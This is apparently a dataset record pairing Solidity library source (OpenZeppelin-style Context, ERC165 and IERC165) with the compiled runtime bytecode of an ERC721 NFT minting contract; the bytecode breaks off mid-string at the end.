// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | 0x6080604052600436106101ee5760003560e01c80636c0360eb1161010d578063ab04837d116100a0578063c87b56dd1161006f578063c87b56dd146106a8578063d5abeb01146106e5578063e985e9c514610710578063f2bcd0221461074d578063f2fde38b14610778576101ee565b8063ab04837d146105fe578063b88d4fde14610629578063c002d23d14610652578063c051e38a1461067d576101ee565b80638da5cb5b116100dc5780638da5cb5b1461057557806395d89b41146105a0578063a22cb465146105cb578063a6f2ae3a146105f4576101ee565b80636c0360eb146104cb57806370a08231146104f6578063715018a6146105335780637b0826101461054a576101ee565b80633ccfd60b1161018557806355f804b31161015457806355f804b3146104235780635d6a4bea1461044c578063620a2358146104635780636352211e1461048e576101ee565b80633ccfd60b1461037d57806342842e0e1461039457806342966c68146103bd5780634f6ccce7146103e6576101ee565b806318160ddd116101c157806318160ddd146102c157806323b872dd146102ec57806325fd90f3146103155780632f745c5914610340576101ee565b806301ffc9a7146101f357806306fdde0314610230578063081812fc1461025b578063095ea7b314610298575b600080fd5b3480156101ff57600080fd5b5061021a600480360381019061021591906130c5565b6107a1565b6040516102279190613c94565b60405180910390f35b34801561023c57600080fd5b506102456107b3565b6040516102529190613caf565b60405180910390f35b34801561026757600080fd5b50610282600480360381019061027d9190613158565b610845565b60405161028f9190613c12565b60405180910390f35b3480156102a457600080fd5b506102bf60048036038101906102ba9190613089565b6108ca565b005b3480156102cd57600080fd5b506102d66109e2565b6040516102e39190614041565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612f83565b6109ef565b005b34801561032157600080fd5b5061032a610a4f565b6040516103379190613c94565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190613089565b610a62565b6040516103749190614041565b60405180910390f35b34801561038957600080fd5b50610392610b07565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612f83565b610bf0565b005b3480156103c957600080fd5b506103e460048036038101906103df9190613158565b610c10565b005b3480156103f257600080fd5b5061040d60048036038101906104089190613158565b610c6c565b60405161041a9190614041565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190613117565b610d03565b005b34801561045857600080fd5b50610461610e20565b005b34801561046f57600080fd5b50610478610ea6565b6040516104859190614041565b60405180910390f35b34801561049a57600080fd5b506104b560048036038101906104b09190613158565b610eac565b6040516104c29190613c12565b60405180910390f35b3480156104d757600080fd5b506104e0610f5e565b6040516104ed9190613caf565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190612f1e565b610fec565b60405161052a9190614041565b60405180910390f35b34801561053f57600080fd5b506105486110a4565b005b34801561055657600080fd5b5061055f61112c565b60405161056c9190613c94565b60405180910390f35b34801561058157600080fd5b5061058a61113f565b6040516105979190613c12565b60405180910390f35b3480156105ac57600080fd5b506105b5611169565b6040516105c29190613caf565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed919061304d565b6111fb565b005b6105fc61137c565b005b34801561060a57600080fd5b506106136114ba565b6040516106209190613c94565b60405180910390f35b34801561063557600080fd5b50610650600480360381019061064b9190612fd2565b611568565b005b34801561065e57600080fd5b506106676115ca565b6040516106749190614041565b60405180910390f35b34801561068957600080fd5b506106926115d6565b60405161069f9190613c94565b60405180910390f35b3480156106b457600080fd5b506106cf60048036038101906106ca9190613158565b611693565b6040516106dc9190613caf565b60405180910390f35b3480156106f157600080fd5b506106fa6116c7565b6040516107079190614041565b60405180910390f35b34801561071c57600080fd5b5061073760048036038101906107329190612f47565b6116cc565b6040516107449190613c94565b60405180910390f35b34801561075957600080fd5b50610762611760565b60405161076f9190613c2d565b60405180910390f35b34801561078457600080fd5b5061079f600480360381019061079a9190612f1e565b611786565b005b60006107ac8261187e565b9050919050565b6060600080546107c2906142d3565b80601f01602080910402602001604051908101604052809291908181526020018280546107ee906142d3565b801561083b5780601f106108105761010080835404028352916020019161083b565b820191906000526020600020905b81548152906001019060200180831161081e57829003601f168201915b5050505050905090565b6000610850826118f8565b61088f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088690613ee1565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006108d582610eac565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093d90613f41565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610965611964565b73ffffffffffffffffffffffffffffffffffffffff16148061099457506109938161098e611964565b6116cc565b5b6109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca90613e61565b60405180910390fd5b6109dd838361196c565b505050565b6000600880549050905090565b610a006109fa611964565b82611a25565b610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690613f61565b60405180910390fd5b610a4a838383611b03565b505050565b600c60149054906101000a900460ff1681565b6000610a6d83610fec565b8210610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa590613d01565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610b0f611964565b73ffffffffffffffffffffffffffffffffffffffff16610b2d61113f565b73ffffffffffffffffffffffffffffffffffffffff1614610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a90613f01565b60405180910390fd5b610bc26040518060400160405280601281526020017f5769746864726177696e6720616d6f756e74000000000000000000000000000081525047611d5f565b610bee600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1647611dfb565b565b610c0b83838360405180602001604052806000815250611568565b505050565b610c21610c1b611964565b82611a25565b610c60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5790613fe1565b60405180910390fd5b610c6981611eef565b50565b6000610c766109e2565b8210610cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cae90613fa1565b60405180910390fd5b60088281548110610cf1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610d0b611964565b73ffffffffffffffffffffffffffffffffffffffff16610d2961113f565b73ffffffffffffffffffffffffffffffffffffffff1614610d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7690613f01565b60405180910390fd5b600e60009054906101000a900460ff1615610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690613e21565b60405180910390fd5b7fcb0e7ea1fb290ecaf3ae23d298f39f2ad51fc73ab7a47377e0a122acf89fc2a881604051610dfe9190613caf565b60405180910390a180600f9080519060200190610e1c929190612d42565b5050565b610e28611964565b73ffffffffffffffffffffffffffffffffffffffff16610e4661113f565b73ffffffffffffffffffffffffffffffffffffffff1614610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390613f01565b60405180910390fd5b610ea4612000565b565b600d5481565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90613ea1565b60405180910390fd5b80915050919050565b600f8054610f6b906142d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610f97906142d3565b8015610fe45780601f10610fb957610100808354040283529160200191610fe4565b820191906000526020600020905b815481529060010190602001808311610fc757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561105d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105490613e81565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110ac611964565b73ffffffffffffffffffffffffffffffffffffffff166110ca61113f565b73ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790613f01565b60405180910390fd5b61112a600061206c565b565b600e60009054906101000a900460ff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054611178906142d3565b80601f01602080910402602001604051908101604052809291908181526020018280546111a4906142d3565b80156111f15780601f106111c6576101008083540402835291602001916111f1565b820191906000526020600020905b8154815290600101906020018083116111d457829003601f168201915b5050505050905090565b611203611964565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611271576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126890613da1565b60405180910390fd5b806005600061127e611964565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661132b611964565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516113709190613c94565b60405180910390a35050565b6002600a5414156113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b990613fc1565b60405180910390fd5b6002600a81905550600c60149054906101000a900460ff16611419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141090613e41565b60405180910390fd5b6064600d541061145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590613f81565b60405180910390fd5b346706f05b59d3b20000146114a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149f90614021565b60405180910390fd5b6114b0612000565b6001600a81905550565b60006114c4611964565b73ffffffffffffffffffffffffffffffffffffffff166114e261113f565b73ffffffffffffffffffffffffffffffffffffffff1614611538576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152f90613f01565b60405180910390fd5b6001600e60006101000a81548160ff021916908315150217905550600e60009054906101000a900460ff16905090565b611579611573611964565b83611a25565b6115b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115af90613f61565b60405180910390fd5b6115c484848484612132565b50505050565b6706f05b59d3b2000081565b60006115e0611964565b73ffffffffffffffffffffffffffffffffffffffff166115fe61113f565b73ffffffffffffffffffffffffffffffffffffffff1614611654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164b90613f01565b60405180910390fd5b600c60149054906101000a900460ff1615600c60146101000a81548160ff021916908315150217905550600c60149054906101000a900460ff16905090565b6060600f6116a08361218e565b6040516020016116b1929190613bd9565b6040516020818303038152906040529050919050565b606481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61178e611964565b73ffffffffffffffffffffffffffffffffffffffff166117ac61113f565b73ffffffffffffffffffffffffffffffffffffffff1614611802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f990613f01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990613d41565b60405180910390fd5b61187b8161206c565b50565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806118f157506118f08261233b565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166119df83610eac565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611a30826118f8565b611a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6690613e01565b60405180910390fd5b6000611a7a83610eac565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611ae957508373ffffffffffffffffffffffffffffffffffffffff16611ad184610845565b73ffffffffffffffffffffffffffffffffffffffff16145b80611afa5750611af981856116cc565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611b2382610eac565b73ffffffffffffffffffffffffffffffffffffffff1614611b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7090613f21565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be090613d81565b60405180910390fd5b611bf483838361241d565b611bff60008261196c565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c4f91906141d7565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ca69190614150565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b611df78282604051602401611d75929190613cd1565b6040516020818303038152906040527f9710a9d0000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061242d565b5050565b80471015611e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3590613de1565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051611e6490613bfd565b60006040518083038185875af1925050503d8060008114611ea1576040519150601f19603f3d011682016040523d82523d6000602084013e611ea6565b606091505b5050905080611eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee190613dc1565b60405180910390fd5b505050565b6000611efa82610eac565b9050611f088160008461241d565b611f1360008361196c565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f6391906141d7565b925050819055506002600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6064600d5410612045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203c90614001565b60405180910390fd5b60006001600d546120569190614150565b905080600d819055506120693382612456565b50565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61213d848484611b03565b61214984848484612474565b612188576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217f90613d21565b60405180910390fd5b50505050565b606060008214156121d6576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612336565b600082905060005b600082146122085780806121f190614305565b915050600a8261220191906141a6565b91506121de565b60008167ffffffffffffffff81111561224a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561227c5781602001600182028036833780820191505090505b5090505b6000851461232f5760018261229591906141d7565b9150600a856122a4919061434e565b60306122b09190614150565b60f81b8183815181106122ec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561232891906141a6565b9450612280565b8093505050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061240657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061241657506124158261260b565b5b9050919050565b612428838383612675565b505050565b60008151905060006a636f6e736f6c652e6c6f679050602083016000808483855afa5050505050565b612470828260405180602001604052806000815250612789565b5050565b60006124958473ffffffffffffffffffffffffffffffffffffffff166127e4565b156125fe578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026124be611964565b8786866040518563ffffffff1660e01b81526004016124e09493929190613c48565b602060405180830381600087803b1580156124fa57600080fd5b505af192505050801561252b57506040513d601f19601f8201168201806040525081019061252891906130ee565b60015b6125ae573d806000811461255b576040519150601f19603f3d011682016040523d82523d6000602084013e612560565b606091505b506000815114156125a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259d90613d21565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612603565b600190505b949350505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6126808383836127f7565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156126c3576126be816127fc565b612702565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612701576127008382612845565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561274557612740816129b2565b612784565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612783576127828282612af5565b5b5b505050565b6127938383612b74565b6127a06000848484612474565b6127df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d690613d21565b60405180910390fd5b505050565b600080823b905060008111915050919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161285284610fec565b61285c91906141d7565b9050600060076000848152602001908152602001600020549050818114612941576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506129c691906141d7565b9050600060096000848152602001908152602001600020549050600060088381548110612a1c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110612a64577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612ad9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000612b0083610fec565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bdb90613ec1565b60405180910390fd5b612bed816118f8565b15612c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2490613d61565b60405180910390fd5b612c396000838361241d565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c899190614150565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b828054612d4e906142d3565b90600052602060002090601f016020900481019282612d705760008555612db7565b82601f10612d8957805160ff1916838001178555612db7565b82800160010185558215612db7579182015b82811115612db6578251825591602001919060010190612d9b565b5b509050612dc49190612dc8565b5090565b5b80821115612de1576000816000905550600101612dc9565b5090565b6000612df8612df38461408d565b61405c565b905082815260208101848484011115612e1057600080fd5b612e1b848285614291565b509392505050565b6000612e36612e31846140bd565b61405c565b905082815260208101848484011115612e4e57600080fd5b612e59848285614291565b509392505050565b600081359050612e708161444c565b92915050565b600081359050612e8581614463565b92915050565b600081359050612e9a8161447a565b92915050565b600081519050612eaf8161447a565b92915050565b600082601f830112612ec657600080fd5b8135612ed6848260208601612de5565b91505092915050565b600082601f830112612ef057600080fd5b8135612f00848260208601612e23565b91505092915050565b600081359050612f1881614491565b92915050565b600060208284031215612f3057600080fd5b6000612f3e84828501612e61565b91505092915050565b60008060408385031215612f5a57600080fd5b6000612f6885828601612e61565b9250506020612f7985828601612e61565b9150509250929050565b600080600060608486031215612f9857600080fd5b6000612fa686828701612e61565b9350506020612fb786828701612e61565b9250506040612fc886828701612f09565b9150509250925092565b60008060008060808587031215612fe857600080fd5b6000612ff687828801612e61565b945050602061300787828801612e61565b935050604061301887828801612f09565b925050606085013567ffffffffffffffff81111561303557600080fd5b61304187828801612eb5565b91505092959194509250565b6000806040838503121561306057600080fd5b600061306e85828601612e61565b925050602061307f85828601612e76565b9150509250929050565b6000806040838503121561309c57600080fd5b60006130aa85828601612e61565b92505060206130bb85828601612f09565b9150509250929050565b6000602082840312156130d757600080fd5b60006130e584828501612e8b565b91505092915050565b60006020828403121561310057600080fd5b600061310e84828501612ea0565b91505092915050565b60006020828403121561312957600080fd5b600082013567ffffffffffffffff81111561314357600080fd5b61314f84828501612edf565b91505092915050565b60006020828403121561316a57600080fd5b600061317884828501612f09565b91505092915050565b61318a8161421d565b82525050565b6131998161420b565b82525050565b6131a88161422f565b82525050565b60006131b982614102565b6131c38185614118565b93506131d38185602086016142a0565b6131dc8161443b565b840191505092915050565b60006131f28261410d565b6131fc8185614134565b935061320c8185602086016142a0565b6132158161443b565b840191505092915050565b600061322b8261410d565b6132358185614145565b93506132458185602086016142a0565b80840191505092915050565b6000815461325e816142d3565b6132688186614145565b945060018216600081146132835760018114613294576132c7565b60ff198316865281860193506132c7565b61329d856140ed565b60005b838110156132bf578154818901526001820191506020810190506132a0565b838801955050505b50505092915050565b60006132dd602b83614134565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000613343603283614134565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b60006133a9602683614134565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061340f601c83614134565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b600061344f602483614134565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006134b5601983614134565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b60006134f5603a83614134565b91507f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008301527f6563697069656e74206d617920686176652072657665727465640000000000006020830152604082019050919050565b600061355b601d83614134565b91507f416464726573733a20696e73756666696369656e742062616c616e63650000006000830152602082019050919050565b600061359b602c83614134565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000613601600e83614134565b91507f69706673206964206c6f636b65640000000000000000000000000000000000006000830152602082019050919050565b6000613641602083614134565b91507f4d696e74696e67206973206e6f742063757272656e746c79206163746976652e6000830152602082019050919050565b6000613681603883614134565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b60006136e7602a83614134565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b600061374d602983614134565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006137b3602083614134565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b60006137f3602c83614134565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000613859602083614134565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613899602983614134565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006138ff602183614134565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613965600083614129565b9150600082019050919050565b600061397f603183614134565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b60006139e5601283614134565b91507f4d696e74696e672068617320656e6465642e00000000000000000000000000006000830152602082019050919050565b6000613a25602c83614134565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b6000613a8b601f83614134565b91507f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006000830152602082019050919050565b6000613acb603083614134565b91507f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f766564000000000000000000000000000000006020830152604082019050919050565b6000613b31602883614134565b91507f4d6178696d756d206e756d626572206f66206d696e747320686173206265656e60008301527f20726561636865640000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613b97601883614134565b91507f4d7573742075736520636f727265637420616d6f756e742e00000000000000006000830152602082019050919050565b613bd381614287565b82525050565b6000613be58285613251565b9150613bf18284613220565b91508190509392505050565b6000613c0882613958565b9150819050919050565b6000602082019050613c276000830184613190565b92915050565b6000602082019050613c426000830184613181565b92915050565b6000608082019050613c5d6000830187613190565b613c6a6020830186613190565b613c776040830185613bca565b8181036060830152613c8981846131ae565b905095945050505050565b6000602082019050613ca9600083018461319f565b92915050565b60006020820190508181036000830152613cc981846131e7565b905092915050565b60006040820190508181036000830152613ceb81856131e7565b9050613cfa6020830184613bca565b9392505050565b60006020820190508181036000830152613d1a816132d0565b9050919050565b60006020820190508181036000830152613d3a81613336565b9050919050565b60006020820190508181036000830152613d5a8161339c565b9050919050565b60006020820190508181036000830152613d7a81613402565b9050919050565b60006020820190508181036000830152613d9a81613442565b9050919050565b60006020820190508181036000830152613dba816134a8565b9050919050565b60006020820190508181036000830152613dda816134e8565b9050919050565b60006020820190508181036000830152613dfa8161354e565b9050919050565b60006020820190508181036000830152613e1a8161358e565b9050919050565b60006020820190508181036000830152613e3a816135f4565b9050919050565b60006020820190508181036000830152613e5a81613634565b9050919050565b60006020820190508181036000830152613e7a81613674565b9050919050565b60006020820190508181036000830152613e9a816136da565b9050919050565b60006020820190508181036000830152613eba81613740565b9050919050565b60006020820190508181036000830152613eda8